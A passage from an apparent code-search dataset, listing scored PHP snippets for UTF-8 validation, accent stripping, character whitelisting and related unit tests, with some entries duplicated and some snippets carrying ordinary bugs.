"382eac9ee540f4dc595abe12aa754a38", "score": "0.5606746", "text": "function _filter_unicode_translate_chars( $string ) {\n\treturn chr( $string['ord'] );\n}", "title": "" }, { "docid": "36a8687a07cfee0d371db57e635b13c8", "score": "0.56030875", "text": "public static function unsafe( $string ) {\n return preg_match(\"/[^a-zA-Z éèê'à’,ç?\\-:]+/i\", $string); //we use \\ to escape \n }", "title": "" }, { "docid": "d49ce0f64590fe9174a76acd15c6d749", "score": "0.55999243", "text": "function valid_unicode($i) {\n\treturn ( $i == 0x9 || $i == 0xa || $i == 0xd ||\n\t\t\t($i >= 0x20 && $i <= 0xd7ff) ||\n\t\t\t($i >= 0xe000 && $i <= 0xfffd) ||\n\t\t\t($i >= 0x10000 && $i <= 0x10ffff) );\n}", "title": "" }, { "docid": "d49ce0f64590fe9174a76acd15c6d749", "score": "0.55999243", "text": "function valid_unicode($i) {\n\treturn ( $i == 0x9 || $i == 0xa || $i == 0xd ||\n\t\t\t($i >= 0x20 && $i <= 0xd7ff) ||\n\t\t\t($i >= 0xe000 && $i <= 0xfffd) ||\n\t\t\t($i >= 0x10000 && $i <= 0x10ffff) );\n}", "title": "" }, { "docid": "2610d671dc03ddc5ab3d0fc0ce860dbf", "score": "0.5568972", "text": "function remove_accents(string $str)\n{\n if (!preg_match('/[\\x80-\\xff]/', $str)) {\n return $str;\n }\n\n $chars = [\n // Decompositions for Latin-1 Supplement\n chr(195) . chr(128) => 'A',\n chr(195) . chr(129) => 'A',\n chr(195) . chr(130) => 'A',\n chr(195) . chr(131) => 'A',\n chr(195) . chr(132) => 'A',\n chr(195) . chr(133) => 'A',\n chr(195) . chr(135) => 'C',\n chr(195) . chr(136) => 'E',\n chr(195) . chr(137) => 'E',\n chr(195) . chr(138) => 'E',\n chr(195) . chr(139) => 'E',\n chr(195) . chr(140) => 'I',\n chr(195) . chr(141) => 'I',\n chr(195) . chr(142) => 'I',\n chr(195) . chr(143) => 'I',\n chr(195) . chr(145) => 'N',\n chr(195) . chr(146) => 'O',\n chr(195) . chr(147) => 'O',\n chr(195) . chr(148) => 'O',\n chr(195) . chr(149) => 'O',\n chr(195) . chr(150) => 'O',\n chr(195) . chr(153) => 'U',\n chr(195) . chr(154) => 'U',\n chr(195) . chr(155) => 'U',\n chr(195) . chr(156) => 'U',\n chr(195) . chr(157) => 'Y',\n chr(195) . chr(159) => 's',\n chr(195) . chr(160) => 'a',\n chr(195) . chr(161) => 'a',\n chr(195) . chr(162) => 'a',\n chr(195) . chr(163) => 'a',\n chr(195) . chr(164) => 'a',\n chr(195) . chr(165) => 'a',\n chr(195) . chr(167) => 'c',\n chr(195) . chr(168) => 'e',\n chr(195) . chr(169) => 'e',\n chr(195) . chr(170) => 'e',\n chr(195) . chr(171) => 'e',\n chr(195) . chr(172) => 'i',\n chr(195) . chr(173) => 'i',\n chr(195) . chr(174) => 'i',\n chr(195) . chr(175) => 'i',\n chr(195) . chr(177) => 'n',\n chr(195) . chr(178) => 'o',\n chr(195) . chr(179) => 'o',\n chr(195) . chr(180) => 'o',\n chr(195) . chr(181) => 'o',\n chr(195) . chr(182) => 'o',\n chr(195) . chr(182) => 'o',\n chr(195) . chr(185) => 'u',\n chr(195) . chr(186) => 'u',\n chr(195) . chr(187) => 'u',\n chr(195) . chr(188) => 'u',\n chr(195) . chr(189) => 'y',\n chr(195) . chr(191) => 'y',\n // Decompositions for Latin Extended-A\n chr(196) . chr(128) => 'A',\n chr(196) . chr(129) => 'a',\n chr(196) . chr(130) => 'A',\n chr(196) . chr(131) => 'a',\n chr(196) . chr(132) => 'A',\n chr(196) . chr(133) => 'a',\n chr(196) . chr(134) => 'C',\n chr(196) . chr(135) => 'c',\n chr(196) . chr(136) => 'C',\n chr(196) . chr(137) => 'c',\n chr(196) . chr(138) => 'C',\n chr(196) . chr(139) => 'c',\n chr(196) . chr(140) => 'C',\n chr(196) . chr(141) => 'c',\n chr(196) . chr(142) => 'D',\n chr(196) . chr(143) => 'd',\n chr(196) . chr(144) => 'D',\n chr(196) . chr(145) => 'd',\n chr(196) . chr(146) => 'E',\n chr(196) . chr(147) => 'e',\n chr(196) . chr(148) => 'E',\n chr(196) . chr(149) => 'e',\n chr(196) . chr(150) => 'E',\n chr(196) . chr(151) => 'e',\n chr(196) . chr(152) => 'E',\n chr(196) . chr(153) => 'e',\n chr(196) . chr(154) => 'E',\n chr(196) . chr(155) => 'e',\n chr(196) . chr(156) => 'G',\n chr(196) . chr(157) => 'g',\n chr(196) . chr(158) => 'G',\n chr(196) . chr(159) => 'g',\n chr(196) . chr(160) => 'G',\n chr(196) . chr(161) => 'g',\n chr(196) . chr(162) => 'G',\n chr(196) . chr(163) => 'g',\n chr(196) . chr(164) => 'H',\n chr(196) . chr(165) => 'h',\n chr(196) . chr(166) => 'H',\n chr(196) . chr(167) => 'h',\n chr(196) . chr(168) => 'I',\n chr(196) . chr(169) => 'i',\n chr(196) . chr(170) => 'I',\n chr(196) . chr(171) => 'i',\n chr(196) . chr(172) => 'I',\n chr(196) . chr(173) => 'i',\n chr(196) . chr(174) => 'I',\n chr(196) . chr(175) => 'i',\n chr(196) . chr(176) => 'I',\n chr(196) . chr(177) => 'i',\n chr(196) . chr(178) => 'IJ',\n chr(196) . chr(179) => 'ij',\n chr(196) . chr(180) => 'J',\n chr(196) . chr(181) => 'j',\n chr(196) . chr(182) => 'K',\n chr(196) . chr(183) => 'k',\n chr(196) . chr(184) => 'k',\n chr(196) . chr(185) => 'L',\n chr(196) . chr(186) => 'l',\n chr(196) . chr(187) => 'L',\n chr(196) . chr(188) => 'l',\n chr(196) . chr(189) => 'L',\n chr(196) . chr(190) => 'l',\n chr(196) . chr(191) => 'L',\n chr(197) . chr(128) => 'l',\n chr(197) . chr(129) => 'L',\n chr(197) . chr(130) => 'l',\n chr(197) . chr(131) => 'N',\n chr(197) . chr(132) => 'n',\n chr(197) . chr(133) => 'N',\n chr(197) . chr(134) => 'n',\n chr(197) . chr(135) => 'N',\n chr(197) . chr(136) => 'n',\n chr(197) . chr(137) => 'N',\n chr(197) . chr(138) => 'n',\n chr(197) . chr(139) => 'N',\n chr(197) . chr(140) => 'O',\n chr(197) . chr(141) => 'o',\n chr(197) . chr(142) => 'O',\n chr(197) . chr(143) => 'o',\n chr(197) . chr(144) => 'O',\n chr(197) . chr(145) => 'o',\n chr(197) . chr(146) => 'OE',\n chr(197) . chr(147) => 'oe',\n chr(197) . chr(148) => 'R',\n chr(197) . chr(149) => 'r',\n chr(197) . chr(150) => 'R',\n chr(197) . chr(151) => 'r',\n chr(197) . chr(152) => 'R',\n chr(197) . chr(153) => 'r',\n chr(197) . chr(154) => 'S',\n chr(197) . chr(155) => 's',\n chr(197) . chr(156) => 'S',\n chr(197) . chr(157) => 's',\n chr(197) . chr(158) => 'S',\n chr(197) . chr(159) => 's',\n chr(197) . chr(160) => 'S',\n chr(197) . chr(161) => 's',\n chr(197) . chr(162) => 'T',\n chr(197) . chr(163) => 't',\n chr(197) . chr(164) => 'T',\n chr(197) . chr(165) => 't',\n chr(197) . chr(166) => 'T',\n chr(197) . chr(167) => 't',\n chr(197) . chr(168) => 'U',\n chr(197) . chr(169) => 'u',\n chr(197) . chr(170) => 'U',\n chr(197) . chr(171) => 'u',\n chr(197) . chr(172) => 'U',\n chr(197) . chr(173) => 'u',\n chr(197) . chr(174) => 'U',\n chr(197) . chr(175) => 'u',\n chr(197) . chr(176) => 'U',\n chr(197) . chr(177) => 'u',\n chr(197) . chr(178) => 'U',\n chr(197) . chr(179) => 'u',\n chr(197) . chr(180) => 'W',\n chr(197) . chr(181) => 'w',\n chr(197) . chr(182) => 'Y',\n chr(197) . chr(183) => 'y',\n chr(197) . chr(184) => 'Y',\n chr(197) . chr(185) => 'Z',\n chr(197) . chr(186) => 'z',\n chr(197) . chr(187) => 'Z',\n chr(197) . chr(188) => 'z',\n chr(197) . chr(189) => 'Z',\n chr(197) . chr(190) => 'z',\n chr(197) . chr(191) => 's',\n ];\n\n $str = strtr($str, $chars);\n\n return $str;\n}", "title": "" }, { "docid": "ed13caaff0ca93d9054e6d0d8f697cbf", "score": "0.55656976", "text": "public static function fix_umlauts($string)\n\t{\n\t\treturn str_ireplace(array('ä', 'ö', 'ü', 'ß'), array('ae', 'oe', 'ue', 'ss'), $string);\n\t}", "title": "" }, { "docid": "d81028c38b394a3a2c69c3f0eecfd37e", "score": "0.5555167", "text": "function autoUTF($s)\n{\n // detect UTF-8\n if (preg_match('#[\\x80-\\x{1FF}\\x{2000}-\\x{3FFF}]#u', $s))\n return $s;\n\n // detect WINDOWS-1250\n if (preg_match('#[\\x7F-\\x9F\\xBC]#', $s))\n return iconv('WINDOWS-1250', 'UTF-8', $s);\n\n // assume ISO-8859-1\n return iconv('ISO-8859-1', 'UTF-8', $s);\n}", "title": "" }, { "docid": "76a3d0dfbe7c157e60eb941424bfe232", "score": "0.55541193", "text": "#[@test, @expect('lang.FormatException')]\n public function illegalCharacter() {\n new String('ä', 'US-ASCII');\n }", "title": "" }, { "docid": "a68d2fbf4cadb7e847d95e882b2bec09", "score": "0.55367637", "text": "function utf8_bad_clean($str, $replace = false)\r\n{\r\n\tob_start();\r\n\r\n\twhile (preg_match('/'.PHP_UTF8_BAD_UTF_PATTERN.'/S', $str, $matches))\r\n\t{\r\n\t\tif (!isset($matches[2]))\r\n\t\t\techo $matches[0];\r\n\t\telseif ($replace !== false && is_string($replace))\r\n\t\t\techo $replace;\r\n\r\n\t\t$str = substr($str, strlen($matches[0]));\r\n\t}\r\n\r\n\treturn ob_get_clean();\r\n}", "title": "" }, { "docid": "b7d4087dc6e591be7ff760de26f81729", "score": "0.55346644", "text": "public static function isValidUTF8 ($str)\n {\n return (bool) preg_match('//u', $str);\n }", "title": "" }, { "docid": "761610f93610fa602f3b09df3a1ddb45", "score": "0.5532315", "text": "function chkvalchars($str2chk) {\n return (eregi('[a-zA-Z]+',$str2chk));\n }", "title": "" }, { "docid": "e85c0492e469efef74dbc529f55e2707", "score": "0.5518132", "text": "public static function sanitizeInput($str) {\n\t\t$str = strtolower(trim($str));\n\n\t\t$a = array('À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Æ', 'Ç', 'È', 'É', 'Ê', 'Ë', 'Ì', 'Í', 'Î', 'Ï', 'Ð', 'Ñ', 'Ò', 'Ó', 'Ô', 'Õ', 'Ö', 'Ø', 'Ù', 'Ú', 'Û', 'Ü', 'Ý', 'ß', 'à', 'á', 'â', 'ã', 'ä', 'å', 'æ', 'ç', 'è', 'é', 'ê', 'ë', 'ì', 'í', 'î', 'ï', 'ñ', 'ò', 'ó', 'ô', 'õ', 'ö', 'ø', 'ù', 'ú', 'û', 'ü', 'ý', 'ÿ', 'Ā', 'ā', 'Ă', 'ă', 'Ą', 'ą', 'Ć', 'ć', 'Ĉ', 'ĉ', 'Ċ', 'ċ', 'Č', 'č', 'Ď', 'ď', 'Đ', 'đ', 'Ē', 'ē', 'Ĕ', 'ĕ', 'Ė', 'ė', 'Ę', 'ę', 'Ě', 'ě', 'Ĝ', 'ĝ', 'Ğ', 'ğ', 'Ġ', 'ġ', 'Ģ', 'ģ', 'Ĥ', 'ĥ', 'Ħ', 'ħ', 'Ĩ', 'ĩ', 'Ī', 'ī', 'Ĭ', 'ĭ', 'Į', 'į', 'İ', 'ı', 'IJ', 'ij', 'Ĵ', 'ĵ', 'Ķ', 'ķ', 'Ĺ', 'ĺ', 'Ļ', 'ļ', 'Ľ', 'ľ', 'Ŀ', 'ŀ', 'Ł', 'ł', 'Ń', 'ń', 'Ņ', 'ņ', 'Ň', 'ň', 'ʼn', 'Ō', 'ō', 'Ŏ', 'ŏ', 'Ő', 'ő', 'Œ', 'œ', 'Ŕ', 'ŕ', 'Ŗ', 'ŗ', 'Ř', 'ř', 'Ś', 'ś', 'Ŝ', 'ŝ', 'Ş', 'ş', 'Š', 'š', 'Ţ', 'ţ', 'Ť', 'ť', 'Ŧ', 'ŧ', 'Ũ', 'ũ', 'Ū', 'ū', 'Ŭ', 'ŭ', 'Ů', 'ů', 'Ű', 'ű', 'Ų', 'ų', 'Ŵ', 'ŵ', 'Ŷ', 'ŷ', 'Ÿ', 'Ź', 'ź', 'Ż', 'ż', 'Ž', 'ž', 'ſ', 'ƒ', 'Ơ', 'ơ', 'Ư', 'ư', 'Ǎ', 'ǎ', 'Ǐ', 'ǐ', 'Ǒ', 'ǒ', 'Ǔ', 'ǔ', 'Ǖ', 'ǖ', 'Ǘ', 'ǘ', 'Ǚ', 'ǚ', 'Ǜ', 'ǜ', 'Ǻ', 'ǻ', 'Ǽ', 'ǽ', 'Ǿ', 'ǿ');\n \t$b = array('A', 'A', 'A', 'A', 'A', 'A', 'AE', 'C', 'E', 'E', 'E', 'E', 'I', 'I', 'I', 'I', 'D', 'N', 'O', 'O', 'O', 'O', 'O', 'O', 'U', 'U', 'U', 'U', 'Y', 's', 'a', 'a', 'a', 'a', 'a', 'a', 'ae', 'c', 'e', 'e', 'e', 'e', 'i', 'i', 'i', 'i', 'n', 'o', 'o', 'o', 'o', 'o', 'o', 'u', 'u', 'u', 'u', 'y', 'y', 'A', 'a', 'A', 'a', 'A', 'a', 'C', 'c', 'C', 'c', 'C', 'c', 'C', 'c', 'D', 'd', 'D', 'd', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'G', 'g', 'G', 'g', 'G', 'g', 'G', 'g', 'H', 'h', 'H', 'h', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'IJ', 'ij', 'J', 'j', 'K', 'k', 'L', 'l', 'L', 'l', 'L', 'l', 'L', 'l', 'l', 'l', 'N', 'n', 'N', 'n', 'N', 'n', 'n', 'O', 'o', 'O', 'o', 'O', 'o', 'OE', 'oe', 'R', 'r', 'R', 'r', 'R', 'r', 'S', 's', 'S', 's', 'S', 's', 'S', 's', 'T', 't', 'T', 't', 'T', 't', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'W', 'w', 'Y', 'y', 'Y', 'Z', 'z', 'Z', 'z', 'Z', 'z', 's', 'f', 'O', 'o', 'U', 'u', 'A', 'a', 'I', 'i', 'O', 'o', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'A', 'a', 'AE', 'ae', 'O', 'o');\n\n\t\t$str = str_replace($a, $b, $str);\n\n\t\t// adding - for spaces and union characters\n\t\t$find = array(' ', '&', '\\r\\n', '\\n', '+', ',', '_');\n\t\t$str = str_replace ($find, '-', $str);\n\n\t\t//delete and replace rest of special chars\n\t\t$find = array('/[^a-z0-9\\-]/', '/[\\-]+/', '/<[^>]*>/');\n\t\t$repl = array('', '-', '');\n\t\t$str = preg_replace($find, $repl, $str);\n\n\t\t$len = strlen($str);\n\t\tif(strrpos($str, '-') === $len) {\n\t\t\t$str = substring();\n\t\t}\n\t\treturn $str;\n\t}", "title": "" }, { "docid": "d70f6fd32aa389ed581f87659452ec77", "score": "0.55180043", "text": "function is_utf8(string $string): bool\n{\n return null !== detect_encoding($string, [Encoding::UTF_8]);\n}", "title": "" }, { "docid": "df1150d68e8217d029f21859e8f7eb66", "score": "0.5517859", "text": "#[@test]\n public function utf8String() {\n $this->assertEquals(\n new String('HƤllo', 'UTF-8'),\n new String('Hällo', 'ISO-8859-1')\n );\n }", "title": "" }, { "docid": "40d0bd9862891eb14839773b1233cc25", "score": "0.5504885", "text": "public static function verifyLetters($input)\n {\n if (preg_match(\"/^[a-zA-ZáéíóúüñÁÉÍÓÚÜÑ]+$/\", $input)) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "40e08e7bc96dbb6d28aa03ee2ae2141c", "score": "0.5504198", "text": "function CovertVn($str){\n $str = preg_replace(\"/(à|á|ạ|ả|ã|â|ầ|ấ|ậ|ẩ|ẫ|ă|ằ|� �|ặ|ẳ|ẵ)/\", 'a', $str);\n $str = preg_replace(\"/(è|é|ẹ|ẻ|ẽ|ê|ề|ế|ệ|ể|ễ)/\", 'e', $str);\n $str = preg_replace(\"/(ì|í|ị|ỉ|ĩ)/\", 'i', $str);\n $str = preg_replace(\"/(ò|ó|ọ|ỏ|õ|ô|ồ|ố|ộ|ổ|ỗ|ơ|ờ|� �|ợ|ở|ỡ)/\", 'o', $str);\n $str = preg_replace(\"/(ù|ú|ụ|ủ|ũ|ư|ừ|ứ|ự|ử|ữ)/\", 'u', $str);\n $str = preg_replace(\"/(ỳ|ý|ỵ|ỷ|ỹ)/\", 'y', $str);\n $str = preg_replace(\"/(đ)/\", 'd', $str);\n $str = preg_replace(\"/(À|Á|Ạ|Ả|Ã|Â|Ầ|Ấ|Ậ|Ẩ|Ẫ|Ă|Ằ|� �|Ặ|Ẳ|Ẵ)/\", 'A', $str);\n $str = preg_replace(\"/(È|É|Ẹ|Ẻ|Ẽ|Ê|Ề|Ế|Ệ|Ể|Ễ)/\", 'E', $str);\n $str = preg_replace(\"/(Ì|Í|Ị|Ỉ|Ĩ)/\", 'I', $str);\n $str = preg_replace(\"/(Ò|Ó|Ọ|Ỏ|Õ|Ô|Ồ|Ố|Ộ|Ổ|Ỗ|Ơ|Ờ|� �|Ợ|Ở|Ỡ)/\", 'O', $str);\n $str = preg_replace(\"/(Ù|Ú|Ụ|Ủ|Ũ|Ư|Ừ|Ứ|Ự|Ử|Ữ)/\", 'U', $str);\n $str = preg_replace(\"/(Ỳ|Ý|Ỵ|Ỷ|Ỹ)/\", 'Y', $str);\n $str = preg_replace(\"/(Đ)/\", 'D', $str);\n $str = preg_replace(\"/( )/\", '_', $str);\n return $str;\n }", "title": "" }, { "docid": "caa79c013f6fa31d1f9bf7fbe2b4b50c", "score": "0.5503691", "text": "public function testFilteresc()\n {\n $unfiltered = \"<a href='test'>Åsö</a>\";\n $filtered = \"&lt;a href='test'&gt;Åsö&lt;/a&gt;\";\n\n $textfilter = new TextFilter();\n $this->assertEquals($filtered, $textfilter->format($unfiltered, \"esc\"));\n }", "title": "" }, { "docid": "42b74ffd38d67e55b76a80245f1e1cd8", "score": "0.55022335", "text": "function isUpper($unicode = true)\n {\n return $this->countRegex(\"/^[[:upper:]]+$/\" . ($unicode ? 'u' : '')) === 1;\n }", "title": "" }, { "docid": "9af47ec9639b7ccc449b0b4db199d8bf", "score": "0.5502109", "text": "public function stripVN($str) {\n $str = preg_replace(\"/(à|á|ạ|ả|ã|â|ầ|ấ|ậ|ẩ|ẫ|ă|ằ|ắ|ặ|ẳ|ẵ)/\", 'a', $str);\n $str = preg_replace(\"/(è|é|ẹ|ẻ|ẽ|ê|ề|ế|ệ|ể|ễ)/\", 'e', $str);\n $str = preg_replace(\"/(ì|í|ị|ỉ|ĩ)/\", 'i', $str);\n $str = preg_replace(\"/(ò|ó|ọ|ỏ|õ|ô|ồ|ố|ộ|ổ|ỗ|ơ|ờ|ớ|ợ|ở|ỡ)/\", 'o', $str);\n $str = preg_replace(\"/(ù|ú|ụ|ủ|ũ|ư|ừ|ứ|ự|ử|ữ)/\", 'u', $str);\n $str = preg_replace(\"/(ỳ|ý|ỵ|ỷ|ỹ)/\", 'y', $str);\n $str = preg_replace(\"/(đ)/\", 'd', $str);\n\n $str = preg_replace(\"/(À|Á|Ạ|Ả|Ã|Â|Ầ|Ấ|Ậ|Ẩ|Ẫ|Ă|Ằ|Ắ|Ặ|Ẳ|Ẵ)/\", 'A', $str);\n $str = preg_replace(\"/(È|É|Ẹ|Ẻ|Ẽ|Ê|Ề|Ế|Ệ|Ể|Ễ)/\", 'E', $str);\n $str = preg_replace(\"/(Ì|Í|Ị|Ỉ|Ĩ)/\", 'I', $str);\n $str = preg_replace(\"/(Ò|Ó|Ọ|Ỏ|Õ|Ô|Ồ|Ố|Ộ|Ổ|Ỗ|Ơ|Ờ|Ớ|Ợ|Ở|Ỡ)/\", 'O', $str);\n $str = preg_replace(\"/(Ù|Ú|Ụ|Ủ|Ũ|Ư|Ừ|Ứ|Ự|Ử|Ữ)/\", 'U', $str);\n $str = preg_replace(\"/(Ỳ|Ý|Ỵ|Ỷ|Ỹ)/\", 'Y', $str);\n $str = preg_replace(\"/(Đ)/\", 'D', $str);\n $str = str_replace(\" \", \"_\", $str);\n return $str;\n }", "title": "" }, { "docid": "961dc8feafbdff0affd2d179e45b43fe", "score": "0.55017185", "text": "function test_text($text_data) {\n if (!preg_match(\"/^[a-zA-Z ]*$/\",$text_data)) {\n return FALSE; \n } \n return TRUE; \n}", "title": "" }, { "docid": "0d2ffa5932f76de4b962ac6567d755e1", "score": "0.5497514", "text": "public function validateText($str)\n {\n if ((isset($str)) && ($str != \"\")) {\n return preg_match('/^[ก-๙เa-zA-Z0-9_\\-@%#()\\/\\.: \\r\\n]+$/', $str, $result);\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "73583cf40a6cbe509757f22c55997269", "score": "0.5472284", "text": "function validateRoomType($room_type) {\r\n\t/* Hensikt\r\n\t * \t\tFunksjonen validerer at romnavn er fylt ut korrekt\r\n\t* Parametre\r\n\t* \t\t$room_type: romtypenavn som skal valideres\r\n\t* Returnerer\r\n\t* \t\t\"true\" eller \"false\"\r\n\t*/\r\n\r\n\t$pattern='/^[A-ZÆØÅ][a-z æøå]+$/u';\t\t\t// mønster som brukes av funksjonen preg_match for å validere input\r\n\r\n\tif(preg_match($pattern, $room_type)){\t\t// sjekker om parameter validerer mot mønster\r\n\t\treturn true;\t\t\t\t\t\t\t// returnerer \"true\" hvis det stemmer\r\n\t}\r\n\telse{\r\n\t\techo \"<script>alert('Romtype er ikke korrekt utfylt. Skal starte med stor forbokstav og kun bestå av bokstaver')</script>\";\t// returnerer feilmelding hvis det ikke stemmer\r\n\t}\r\n\r\n}", "title": "" }, { "docid": "625d2c6c7ee987eff819b819b0cf804b", "score": "0.54646283", "text": "function _unescape($s)\n{\n\treturn preg_replace_callback(\n\t\t'/% (?: u([A-F\\d]{1,4}) | ([A-F\\d]{1,2})) /sxi',\n\t\t'_unescape_callback',\n\t\t$s\n\t);\n}", "title": "" }, { "docid": "fb45ad234ed1bab88151cafcd0970653", "score": "0.5464533", "text": "public function test_valid_without_persian_alphabet(string $string)\n {\n $this->assertEquals(true, (new Pregex)->IsWithoutPersianAlphabet($string));\n }", "title": "" }, { "docid": "c5749dd874642c7ea2534ca810f8685e", "score": "0.54572636", "text": "function removeAccents($str)\n{\n $a = array('À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Æ', 'Ç', 'È', 'É', 'Ê', 'Ë', 'Ì', 'Í', 'Î', 'Ï', 'Ð', 'Ñ', 'Ò', 'Ó', 'Ô', 'Õ', 'Ö', 'Ø', 'Ù', 'Ú', 'Û', 'Ü', 'Ý', 'ß', 'à', 'á', 'â', 'ã', 'ä', 'å', 'æ', 'ç', 'è', 'é', 'ê', 'ë', 'ì', 'í', 'î', 'ï', 'ñ', 'ò', 'ó', 'ô', 'õ', 'ö', 'ø', 'ù', 'ú', 'û', 'ü', 'ý', 'ÿ', 'Ā', 'ā', 'Ă', 'ă', 'Ą', 'ą', 'Ć', 'ć', 'Ĉ', 'ĉ', 'Ċ', 'ċ', 'Č', 'č', 'Ď', 'ď', 'Đ', 'đ', 'Ē', 'ē', 'Ĕ', 'ĕ', 'Ė', 'ė', 'Ę', 'ę', 'Ě', 'ě', 'Ĝ', 'ĝ', 'Ğ', 'ğ', 'Ġ', 'ġ', 'Ģ', 'ģ', 'Ĥ', 'ĥ', 'Ħ', 'ħ', 'Ĩ', 'ĩ', 'Ī', 'ī', 'Ĭ', 'ĭ', 'Į', 'į', 'İ', 'ı', 'IJ', 'ij', 'Ĵ', 'ĵ', 'Ķ', 'ķ', 'Ĺ', 'ĺ', 'Ļ', 'ļ', 'Ľ', 'ľ', 'Ŀ', 'ŀ', 'Ł', 'ł', 'Ń', 'ń', 'Ņ', 'ņ', 'Ň', 'ň', 'ʼn', 'Ō', 'ō', 'Ŏ', 'ŏ', 'Ő', 'ő', 'Œ', 'œ', 'Ŕ', 'ŕ', 'Ŗ', 'ŗ', 'Ř', 'ř', 'Ś', 'ś', 'Ŝ', 'ŝ', 'Ş', 'ş', 'Š', 'š', 'Ţ', 'ţ', 'Ť', 'ť', 'Ŧ', 'ŧ', 'Ũ', 'ũ', 'Ū', 'ū', 'Ŭ', 'ŭ', 'Ů', 'ů', 'Ű', 'ű', 'Ų', 'ų', 'Ŵ', 'ŵ', 'Ŷ', 'ŷ', 'Ÿ', 'Ź', 'ź', 'Ż', 'ż', 'Ž', 'ž', 'ſ', 'ƒ', 'Ơ', 'ơ', 'Ư', 'ư', 'Ǎ', 'ǎ', 'Ǐ', 'ǐ', 'Ǒ', 'ǒ', 'Ǔ', 'ǔ', 'Ǖ', 'ǖ', 'Ǘ', 'ǘ', 'Ǚ', 'ǚ', 'Ǜ', 'ǜ', 'Ǻ', 'ǻ', 'Ǽ', 'ǽ', 'Ǿ', 'ǿ', 'Ά', 'ά', 'Έ', 'έ', 'Ό', 'ό', 'Ώ', 'ώ', 'Ί', 'ί', 'ϊ', 'ΐ', 'Ύ', 'ύ', 'ϋ', 'ΰ', 'Ή', 'ή');\n $b = array('A', 'A', 'A', 'A', 'A', 'A', 'AE', 'C', 'E', 'E', 'E', 'E', 'I', 'I', 'I', 'I', 'D', 'N', 'O', 'O', 'O', 'O', 'O', 'O', 'U', 'U', 'U', 'U', 'Y', 's', 'a', 'a', 'a', 'a', 'a', 'a', 'ae', 'c', 'e', 'e', 'e', 'e', 'i', 'i', 'i', 'i', 'n', 'o', 'o', 'o', 'o', 'o', 'o', 'u', 'u', 'u', 'u', 'y', 'y', 'A', 'a', 'A', 'a', 'A', 'a', 'C', 'c', 'C', 'c', 'C', 'c', 'C', 'c', 'D', 'd', 'D', 'd', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'G', 'g', 'G', 'g', 'G', 'g', 'G', 'g', 'H', 'h', 'H', 'h', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'IJ', 'ij', 'J', 'j', 'K', 'k', 'L', 'l', 'L', 'l', 'L', 'l', 'L', 'l', 'l', 'l', 'N', 'n', 'N', 'n', 'N', 'n', 'n', 'O', 'o', 'O', 'o', 'O', 'o', 'OE', 'oe', 'R', 'r', 'R', 'r', 'R', 'r', 'S', 's', 'S', 's', 'S', 's', 'S', 's', 'T', 't', 'T', 't', 'T', 't', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'W', 'w', 'Y', 'y', 'Y', 'Z', 'z', 'Z', 'z', 'Z', 'z', 's', 'f', 'O', 'o', 'U', 'u', 'A', 'a', 'I', 'i', 'O', 'o', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'A', 'a', 'AE', 'ae', 'O', 'o', 'Α', 'α', 'Ε', 'ε', 'Ο', 'ο', 'Ω', 'ω', 'Ι', 'ι', 'ι', 'ι', 'Υ', 'υ', 'υ', 'υ', 'Η', 'η');\n return str_replace($a, $b, $str);\n}", "title": "" }, { "docid": "3be0899cb4dad014e0d97c7f51faa141", "score": "0.545372", "text": "public static function validate ($s) {\n\t\treturn \\mb_check_encoding($s, \"UTF-8\");\n\t}", "title": "" }, { "docid": "aef29b93c0439ced4b3e86eba0af5968", "score": "0.5442009", "text": "function check_invalid_utf8( $string, $strip = false ) {\n\t$string = (string) $string;\n\n\tif ( 0 === strlen( $string ) ) {\n\t\treturn '';\n\t}\n\n\t// Store the site charset as a static to avoid multiple calls to get_option()\n\tstatic $is_utf8;\n\tif ( !isset( $is_utf8 ) ) {\n\t\t$is_utf8 = in_array( get_option( 'site_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) );\n\t}\n\tif ( !$is_utf8 ) {\n\t\treturn $string;\n\t}\n\n\t// Check for support for utf8 in the installed PCRE library once and store the result in a static\n\tstatic $utf8_pcre;\n\tif ( !isset( $utf8_pcre ) ) {\n\t\t$utf8_pcre = @preg_match( '/^./u', 'a' );\n\t}\n\t// We can't demand utf8 in the PCRE installation, so just return the string in those cases\n\tif ( !$utf8_pcre ) {\n\t\treturn $string;\n\t}\n\n\t// preg_match fails when it encounters invalid UTF8 in $string\n\tif ( 1 === @preg_match( '/^./us', $string ) ) {\n\t\treturn $string;\n\t}\n\n\t// Attempt to strip the bad chars if requested (not recommended)\n\tif ( $strip && function_exists( 'iconv' ) ) {\n\t\treturn iconv( 'utf-8', 'utf-8', $string );\n\t}\n\n\treturn '';\n}", "title": "" }, { "docid": "d90a46334ee8d149bfadf7680629a3b7", "score": "0.5429381", "text": "function validate_string($string) {\n\t\tif (@preg_match( '/^./us', $string) === 0) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$string = trim( preg_replace('/[\\r\\n\\t ]+/', ' ', $filtered) );\n\n\t\t$found = false;\t\t\n\t\twhile ( preg_match('/%[a-f0-9]{2}/i', $string, $match) ) {\n\t\t\t$string = str_replace($match[0], '', $string);\n\t\t\t$found = true;\n\t\t}\n\n\t\tif ( $found ) {\n\t\t\t// Strip out the whitespace that may now exist after removing the octets.\n\t\t\t$string = trim( preg_replace('/ +/', ' ', $string) );\n\t\t}\n\t\treturn htmlspecialchars(strip_tags($string));\n\t}", "title": "" }, { "docid": "e62c2dcbb225896c4d4c2d5bc1600be9", "score": "0.5426962", "text": "public function testConvertToUtf()\n {\n $oEmosAdapter = oxNew('oxEmosAdapter');\n\n $sContent = \"Zurück zum Shop\";\n $sCharset = oxRegistry::getLang()->translateString('charset');\n\n $sConverted = iconv($sCharset, 'UTF-8', $sContent);\n $sResult = $oEmosAdapter->UNITconvertToUtf($sContent);\n\n $this->assertEquals($sConverted, $sResult);\n }", "title": "" }, { 